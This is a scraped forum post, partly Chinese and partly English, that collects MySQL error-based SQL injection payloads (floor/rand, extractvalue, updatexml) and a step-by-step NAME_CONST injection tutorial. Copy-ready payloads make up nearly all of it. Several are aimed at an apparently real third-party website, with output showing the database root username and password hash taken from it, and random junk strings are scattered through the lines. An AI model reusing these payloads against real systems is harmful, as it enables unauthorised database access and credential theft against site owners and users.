|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
9 L$ q: x/ j& P' Z3 `& D; |首先进行正常查询: mysql> select * from article where id = 1;
8 W- f* Z) A9 |3 b- P. r& v9 M$ z+—-+——-+———+$ U8 k3 W! o- H& }9 m' E. R0 U: q9 G
| id | title | content |
9 R/ c2 Y: f3 C+—-+——-+———+
! y8 R* Q9 e0 r1 t1 L) U% x [2 {| 1 | test | do it |
* x9 [3 S) B; J5 I+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);0 }9 U( B+ ~: E. L
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。& b5 i1 U& s9 `2 `" \* c
例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
8 E8 {9 h% |- \, aERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));5 Q6 ]0 W, [. r- X: ~
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue3 Y+ b( {9 f" J0 l: f% k# h/ c
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
% o% Y' p, ~& p- G9 DERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
; Y$ m. d+ C' H$ N4 n
2 p; Z) u8 w3 u再收集:
% {. P& ^$ Q) K2 k( p( K0 y" k" vhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
7 l4 ]! W8 {/ Y1 f& t+ E. ^/ c
+ V/ o5 j% C' T5 j7 \4 B2 _Error uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’
6 I( r5 j: H# k% m5 M2 G
# D4 q4 g8 A' C! ^1 O4 ^# g/ nhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
# R1 O( X q. Q' t! j& Q/ P
4 @ `3 A% r$ {+ o' }1 Z+ P6 i& WError uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 9 ]8 l4 v2 {$ V
1 R% Y+ v8 ?3 G6 _; t$ U
MYSQL高版本报错注入技巧-利用NAME_CONST注入" k2 f: L g& u3 U2 O# m$ a
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
: g! s5 k8 g# ^# i5 r2 m, h( k% p. T
3 K% e4 U: ]- L2 _5 `相关信息
/ g8 h# ~; N2 t( @/ [: i% F. b" {2 e5 J7 ^- g3 e' I8 A2 x7 }! I
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.9 p+ n6 n4 n( h. M3 M4 e
% I% e6 V& x! z0 r! k5 `% J v. X
Code:
I# l% } H% T( d, RNAME_CONST(DATA, VALUE)
) B$ X9 f: {; l
; y+ l+ L* o" D- ] h: fReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
$ {8 |- P1 ?" j" Q
% F: j4 P6 i% Z+ T2 H9 \SELECT NAME_CONST('TEST', 1)9 A& ~3 x5 D" P- R5 d3 s
3 X$ B- B/ W3 T% @
% K0 c& x. Q1 R5 {2 Y2 Z+ e# A0 q
9 n* r/ E: w/ o1 i0 f8 O/ X|---------------|
, C! I4 F+ |5 S3 h! S6 u| TEST |' \ Q$ t7 `1 O
| |
6 N! V( A! |0 M( s2 H: u|---------------|
' {! W5 n/ c$ `" E2 `9 l| 1 |
2 A- \. ^8 K: N9 p P. ]| |
" X }5 c+ H* E; ^* U# z3 ~6 l|---------------|( Y6 j- K; D6 \2 |, h, w# ^. {
4 @3 r; `+ ?9 ]
" l! Z) J7 C& _8 e$ b$ H" I0 k3 E8 g7 y% E2 P
* h: S7 K% n9 `1 R
http://dev.mysql.com/doc/refman/5.0/en/m...name-const1 Y: I6 v' t' U
Intro to MySQL Variables+ e% C. I0 l4 m, c4 u: i8 t
& |3 K4 @( C6 c( u9 X
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
/ P, P+ i' e1 f. a7 h# S3 }
: t' ~% J! {0 @; Z! ACode:+ t- k B# @( ]
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261" d Q0 Q7 I& S; O( _8 M" j( O. x
( p/ v. O- s' O3 Z/ s5 d8 n7 W0 \7 A( Y
0 k/ s2 H' A% N# w g" p: S, b" e' h( Y
' n0 i% `% P1 o4 y3 d9 P" z& P/ {3 z# ?2 f" F! U: y
Code:
Y8 F& h' ^8 zand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--" P! _: g0 D: y2 L/ H% z _
3 ^5 S) V$ G7 Y! {; s1 p8 j2 d9 j0 u- Z- a
VAR = Your MySQL variable.1 s1 |" f! |0 Q4 J- S& ~6 L
, T: Q4 M9 s; a( F
MySQL 5.1.3 Server System Variables
' g; P: H8 l& t: b& |8 |/ v H- @/ A3 h
Let's try it out on my site..
+ y2 M- W+ N% E% r3 I+ ^, ?$ {6 u! j) N$ T$ t
Code:
& M! W+ G8 T) p0 ?! r f# hhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--6 C* g M8 G3 q0 g5 P
0 ?8 ^1 s, b$ I" O; z
Error uplicate column name '5.0.27-community-nt'% A% J% ~; v4 x3 O; h# n. R/ C
# i5 e( ]3 W }/ P1 m. p% L) O7 [) @7 |9 p# h" f; M& H7 J
9 Z5 a. n& F4 P4 U+ o* _. o
3 }3 o) E, O# A- I( k
4 ^0 v- Z6 @; B" b* M3 E* M. i7 F* k
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...2 B5 U. ~% U2 f
9 U% |3 p- w; w& P5 ~9 zData Extraction
% m5 _( D/ j2 V2 v' p1 C. _; V# c5 [
" }' ~, Z+ X. N9 OCode:) K( G: r* G G, a
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--7 n, m1 E3 M, l
$ E- @7 O2 Q( a4 o2 `) v
7 \) W/ k8 ^; E. bWe should get a duplicate column 1 error...
1 {" q5 @9 _$ r3 ?8 D' \. g/ n) A
* \& b! H# a( O' C; bCode:0 [1 b, ~8 A8 D) w; U
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--9 Y6 y9 w& h3 e" r
* ^3 Q* ~; t4 @9 r5 C- a5 |, eError uplicate column name '1: E- k9 S8 x/ z/ B8 `% Y- B9 t. E
2 F; p- k% T: n7 C
@& c; y/ C/ b0 y4 M7 H2 r
. {* Q2 h" I& [3 f
2 q/ c9 t q X. J& Y* m8 S1 @
3 N! q" Q3 h: \' S, ]$ n" p5 C% ?( K% ~' Q9 f6 W
Now let's get the tables out this bitch..
5 L( M( Y! I/ S
7 u8 T% @" q* R7 g" ECode: D W4 S; B" Q! q
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
6 b1 k6 \0 R- u& d0 {8 o" E, ^& e1 u! [4 y( i3 |
; y, V, o ~8 O2 D$ j9 ^7 c
Let's see if it works here, if it does, we can go on and finish the job.; l# g6 n9 X7 }
4 P& o0 d6 E5 U, |8 r* T
Code:
& a$ h+ x F9 o* u' }! Rhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--$ |, N2 s' O6 O3 R
+ l' y! e6 b: X/ ?; [2 i
# b- f; B @/ s% q/ G5 M
Error uplicate column name 'com_admanage( ^: ~* M' \. ^5 C: E5 m
1 l/ m( e( H' v& n9 u( T5 N6 w* v, O6 W8 Y! S
7 i. y3 |+ o+ o7 s g
2 g2 a& `; j5 @
* m$ l1 I- g: x6 _. |# B
' g( Y, P5 g2 i0 wNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
1 Z* |, x# g5 Y: \. v
( F# ]1 R# A R8 k2 U& e. n$ Z e3 \Let's get the columns out of the user table... k0 c2 v5 R( k1 K% l. j
) O4 J+ \& G( f& `Code:
! J R7 s" I% U+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
1 n0 |- F' o) ]. x9 B6 j( O5 j# v) V+ c/ x- e
2 V6 h: C$ q8 @( u) ~4 ^5 f9 sSo mine looks like this, and I get the duplicate column name 'Host'./ u: l7 d: I7 L( M
# e; j: u' m; T" \
Code:$ u& |3 y; Z" b3 d- Y
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--% f% F5 d5 l1 I+ X1 p! i
: I- A; C. ]% [4 E7 F
Error uplicate column name 'Host', ?1 O" P* E+ _; j: Z
6 U' F) l" r) |1 Z0 x |' Y
7 Y1 J6 }. M! l5 p
2 ~. v2 S1 v. U5 E) {7 ^. e p) `# a) a% l/ `/ Q8 [ b! H
) r* \! V/ s% l8 [2 p
( q# O+ { u! N9 u9 n8 I( B, q5 xWoot, time to finish this bitch off.
4 ?! I+ K+ Q+ w/ |, ^6 j6 r* @% M w7 G* y
Code:
( t8 X9 H) }% G/ T" t0 g+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
% K% ^$ W. P) S+ g5 J- O
# O8 b) M8 t$ e$ I+ A4 ~& K6 I% M0 K' e5 ]& s' j* Q6 W9 I/ l' G6 i9 _
So mine looks like this...
/ m7 S ~; ^+ d7 e2 Q) m1 S6 k: G7 I* M: _# u- l0 a4 \1 r
Code:
1 D) I4 K* R0 D Xhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
0 m" [9 _# S) N* i& L
) ?1 c1 ?. I+ M* Q* q0 bError uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'0 A5 s+ @. j' [5 Z- x& l
1 @* B+ d* G( ^" ^
; {" L1 }" `: c& r, u " J. y+ R1 C2 F/ b. R% @
# l7 G/ H& r: `. z( Q! V5 I
- q" G1 F+ p) s* Y. l
" S7 I; ^' O: eAnd there we have it, thanks for reading.1 k( ]0 T O' S( Q1 P) Z- C
* ~1 P* c/ e$ Q |